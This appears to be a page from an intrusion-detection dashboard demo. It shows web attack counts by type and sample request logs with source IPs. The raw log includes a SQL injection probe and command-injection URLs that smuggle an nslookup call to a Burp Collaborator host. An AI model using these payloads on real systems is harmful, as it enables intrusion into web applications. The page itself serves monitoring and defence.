idsthreat

Threat Count
Total Logs 4228982
Anomaly 454720
Normal 2808897
CSRF 1264
LDAP 103598
OSCommand 18558
PathTraversal 153166
SQL 629095
SSI 2
XPath 445
XSS 59237

Latest log

IP Address Country Timestamp Request Url Response Code Type
49.204.229.112 IN 24/Jan/2021:10:10:09 - - 408 ldap
207.46.13.241 US 24/Jan/2021:10:07:49 GET /?destination=/user/33/contact&_exception_stat 200 sql
117.234.249.131 IN 24/Jan/2021:10:05:36 - - 408 ldap
223.196.160.72 IN 24/Jan/2021:10:02:14 GET / 200 anomaly
40.77.167.77 US 24/Jan/2021:09:58:04 GET /?destination=/user/45/contact%3Fpage%3D11&_ex 200 sql
93.158.90.37 SE 24/Jan/2021:09:51:52 GET / 200 anomaly

Pages

Raw log

IP Address Country Timestamp Request Response Code Url
144.48.224.156 Unknown 20/Feb/2021:23:03:17 GET 200 /?page=1915801943'%20or%204320%3d4320'--%20&fcbz=1
144.48.224.156 Unknown 20/Feb/2021:23:02:00 GET 200 /iitk-brochure-print.pdf?fcbz=1
27.97.36.238 IN 20/Feb/2021:22:59:40 GET 404 /books%27%7Cnslookup%2525ProgramFiles%3A%7E10%2C1%2525176.2jmcf3cqpwg8s947mcxlebxi399axz.burpcollaborator.net%7C%27books
27.97.36.238 IN 20/Feb/2021:22:59:38 GET 404 /books%22%26nslookup%2525ProgramFiles%3A%7E10%2C1%2525174.2jmcf3cqpwg8s947mcxlebxi399axz.burpcollaborator.net%26%22books
27.97.36.238 IN 20/Feb/2021:22:58:20 GET 404 /books%22%26nslookup%0978.2jmcf3cqpwg8s947mcxlebxi399axz.burpcollaborator.net%26%22books

Pages

Demo